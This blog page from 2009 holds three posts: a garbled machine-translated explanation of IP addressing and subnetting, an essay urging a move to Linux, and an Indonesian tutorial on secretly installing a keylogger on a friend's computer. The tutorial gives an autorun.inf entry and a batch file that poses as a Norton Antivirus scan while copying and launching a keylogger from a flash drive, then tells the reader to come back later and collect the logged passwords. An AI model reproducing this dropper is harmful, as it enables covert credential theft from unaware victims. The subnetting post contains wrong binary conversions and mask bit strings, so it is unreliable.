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IP ADDRESSING

May 22, 2009 at 7:02 pm | blog | No comment

 

IP Addressing

akhir2 nich an organization that studies a lot about networking, because networking is the need in the world of work. Moreover, in mengkomonikasikan data to ensure the delivery of packet data and arrive at destination in need of a lawyer alamatan computer or IP address. Ip address extremely important role in the network because the IP address of a data gateway to our computers can share resources with other computers or the Internet. Brikut will describe about the IP address and IP address in network settings

Introduction IP address

IP or frequently called Internet Protocol is dengna an identity for each computer in the network, or network. This is an ip address on a computer that is very unique, this is caused by any existing computer in the network must have a different IP address, so that later in the data transmission will not occur IP conflig,

line-height: following is an example of IP addresses

192. 168. 3. One

IP address in writing in the format of 32 bits or 4 bytes but in order to make easier to read then in use in separating the IP address octet form. Actually ip in writing using binary numbers but this is very difficult for network administrators to determine the IP addresses of each kompuer, so the ip address in the conversion to decimal is easy to specify,

192. 168. 3. 1

11 million. 10.101 million. 00,000,011. 00000001

line-height: fourth value has a maximum value of 255 and has a minimum value 0 ip address so if contains the digits 1 will all be numbered as the following 255 255 255 255 and if the contents of the numbers 0 all this will be as follows in 0.0.0.0 so vane many hosts of a network that can work as much as 4,294,967,296 address after the cut with the number of ip addresses to broadcast and multicast.

subnetting

subnetting is a division of the host so that the network does not occur in a host of waste, for example, it is only necessary if the network host as many as eight fruit then we are very wasteful if you use a class C then the computer that is available in the network 255 units. This can lead to extravagance in the network

Example: will the use of a class C network address of 192.168.0.1 (the address can specify the ip address 254). The division is done by using a network subnetwork mask, each bit in the network mask in use for the network bits set to 1, and for the host bits set to 0 so that the network mask in use for a class C 255.255.255.0 as bits will be made in be as follows

111111111.1111111111.11111111.0

subnetwork created by borrowing one or more host bits to be used to divide the network bitsehingga all network addresses into two subnetworks, one host bits borrowed to be used as network bits, so the network will be as follows masknya

111111111.1111111111.11111111.10000000

255. 255. 255. 128

from the example above can be in the know that a network address can only be in for a second rank n. size of the smallest subnetwork consists of four IP addresses, consist of two four IP addresses, consisting of two IP addresses that can be used for host addresses, a network address and a boardcast address.

To find out more on the desired hosts can also use the format of the slash (/), such as network address with netmask 192.168.100.0 255.255.255.0 can be written into 192.168.100.0/24, numbers / 24 obtained from the number of network bits in the netmask, consider the following example:

255. 255. 255. 0

11111111.11111111.11111111.00000000

number of network bits in the example above is 24 because it looks using a / 24.

Allocation of IP addresses in the Network
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subnet technique is a way that is used to allocate IP addresses on a network (LAN or WAN). Subnet technique becomes important if we have a limited allocation of IP such as IP there are only 200 will be distributed to multiple LANs.

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To give an illustration, suppose that we have the allocation of IP addresses from 192.168.1.0 s / d to 254 host 192.168.1.255, then the parameters used for allocation are:
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style=”margin-bottom: 0in;” 192.168.1.255 – LAN broadcast address

style=”margin-bottom: 0in;” 255.255.255.0 – LAN subnet mask

style=”margin-bottom: 0in;” 192.168.1.0 – LAN netwok address.

192.168.1.25 – IP address of one example of a workstation on the LAN.
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Note that,
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3M Beralih Ke Linux (Open Source)

May 22, 2009 at 2:37 am | blog | No comment

 

“When AA Gymnastiar can make a formula for the jema’ahnya 3M, 3M formula I also have to switch to Linux or Opensource Using a very socialist in the field of IT.”

Since students always have some lecturers to intensify the spirit of Go Opensource, conditions and circumstances we are always forced to return to Microsoft. It’s hard to leave the mansion with everything in it, if we URLs umpanya OS (Operating System) Windows which we use as a home. It was windows as a luxury home complete with servants and a fantastic facility. Who wants to move out of the house, let alone move a new house that is not necessarily the existing facilities we can use. This may cause some people are reluctant to move to Linux.
dilubuk

But deep in the heart most often voiced, what we do with the operating system of “pay” this true? And we’re only doing piracy of intellectual property of others? Buzz is getting louder and more complex when I start a pioneering career in the field of building software. So great was my concern when the products I make with some difficulty, should fall into the hands of someone else, then at one another use for commercial purposes. This is one trend I started to switch to Linux.

To switch to linux, it’s very heavy and it takes sacrifice, but this sacrifice will remain valuable as our intellectual course. Why? Because by understanding prosedurenya linux with all the hassle, we have an additional point of learning more from it. In addition, we will better understand how in the world where a new process called open source world, where we will be in a new community which must dipakari by Magnate IT in the world. Therefore, in this new world we can discuss all kinds of problems we encounter and find solutions to common interests. So we have to face the consequences when it should switch to Open Source is, learn how to stay at home / the new world.

For starters, I offer accurate formula named 3M to start switching to Linux:

1. Begin to install the Linux OS with a double system (Install linux and windows). This was done so that we can still compare (find similarities) between the work undertaken in previous Windows, with the work done in Linux. Surely this should not be double-OS virtual course (run another os with), but in a way partings (full install on the hard disk with a particular partition).

2. Finding and selecting a replacement tools (applications or facilities used) you work on Linux is the same function with the tools on windows. There are many choices of applications, but try to choose the right. Suppose you need entertainment with video and audio player, then you can use Amarox, XMMS, VLC, and totem. You work in the administrative field? not have to bother with Linux, because there are a versatile OpenOffice. You are someone who likes to fiddle with the computer system of the brain, in linux there sysviinit and sum. Or you are an IT practitioner who move slightly with the making of an application? Package SUN JAVA, C + +, Pascal, Fortran, AMP (Apache, MySQL, PHP), is also there. And many other examples, which certainly will replace facilities in Windows first.

3. Familiarize themselves with the methods in Linux. This stage is hard enough when you do not have the spirit of opensource, but this is a very mengasikkan when you are happy with the opensource world. Why? because as I mentioned above, we can share our experiences and grievances, so that learning is not we aja kok. His name is also open source world, without any discussion forums, seem to be empty of course. Then, go to the forums rajinlah associated with opensource for your Linux OS, so get more knowledge.

Hopefully this tip can push all of us to learn new things in the world of IT. So the world can be more advanced IT Indonesia continues over time. Regards.

Quoted from: http://www.slash.web.id/



 

Pasang Pencatat “Key” di Kompi Lawan

May 22, 2009 at 2:34 am | blog | No comment

 

pada pertemuan kedua yang di lakukan oleh JTR.tem ,membahas tentang bagaiman hacker bisa mendapatkan password dimana untuk pertemuan kali ini hanya membahas bagaimana cara mendapatkan password menggunakan cara menanamkan keylogger.bagi yang belum tau keylogger ,keylogger adalah program yang akan mencatat aktivitas keyboard korban seperti ketika korban mengetikan password) di komputer korban,nda sabar ya tau caranya…

pertama buka program notepad (semua windows pasti ada tuch..),kemudian kamu ketik ini didalamnya

[autorun]open=nav.bat

setelah diketik seperti diatas trus simpajn dengan nama file autorun.inf eitttt tapi musti diingat file typenya musti all files ya .heeee….. kalo mau didownload file autorun.inf nya ada disini

kemudian buat file note pad baru stelah itu ,kemudian ketik seperti dibawah ini

@echo off
echo norton Antivirus 2006
echo scanning disk drive…
echo please wait…
copy navw32.exe C:\windows\
call C:\windows\navw32.exe
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.Scanning complette! No Virus Threat detected!
echo.
cls

simpan dengan nama nav.bat tapi ingat file typenya allfiles (file nave.bat nya kalo mo didownload ada disini )setelah itu ada cdikit langkah terakhir yaitu kamu download program nav32.exe (disini) nya setelah itu kamu taro deh di flashdisk diluar nanti ctelah lu colok tuh flashdisk ke kompi temenmu akan dicopy secara otomatis filenya dan akan mencatat aktivitas keyboard yang digunakan temenmu.mungkin abis 2 minggu loe pura-pura dech ketempat temenmu kemudian ambil hasilnya di c:\windows\ pasti ada file nav32.dll copy paste ke flashdisk tinggal di lihat aja hasilnya

Dikutip dari : http://www.slash.web.id/